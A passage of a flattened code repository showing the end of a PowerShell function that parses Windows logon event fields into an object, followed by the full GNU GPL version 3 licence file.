$XML.Event.EventData.Data[2].'#text') 122 | $props.Add('SubjectLogonId', $XML.Event.EventData.Data[3].'#text') 123 | $props.Add('TargetUserSid', $XML.Event.EventData.Data[4].'#text') 124 | $props.Add('TargetUserName', $XML.Event.EventData.Data[5].'#text') 125 | $props.Add('TargetDomainName', $XML.Event.EventData.Data[6].'#text') 126 | $props.Add('TargetLogonId', $XML.Event.EventData.Data[7].'#text') 127 | $props.Add('LogonType', $XML.Event.EventData.Data[8].'#text') 128 | $props.Add('LogonProcessName', $XML.Event.EventData.Data[9].'#text') 129 | $props.Add('AuthenticationPackageName', $XML.Event.EventData.Data[10].'#text') 130 | $props.Add('WorkstationName', $XML.Event.EventData.Data[11].'#text') 131 | $props.Add('LogonGuid', $XML.Event.EventData.Data[12].'#text') 132 | $props.Add('TransmittedServices', $XML.Event.EventData.Data[13].'#text') 133 | $props.Add('LmPackageName', $XML.Event.EventData.Data[14].'#text') 134 | $props.Add('KeyLength', $XML.Event.EventData.Data[15].'#text') 135 | $props.Add('ProcessId', $XML.Event.EventData.Data[16].'#text') 136 | $props.Add('ProcessName', $XML.Event.EventData.Data[17].'#text') 137 | $props.Add('IpAddress', $XML.Event.EventData.Data[18].'#text') 138 | $props.Add('IpPort', $XML.Event.EventData.Data[19].'#text') 139 | return New-Object -TypeName psobject -Property $props 140 | } 141 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | --------------------------------------------------------------------------------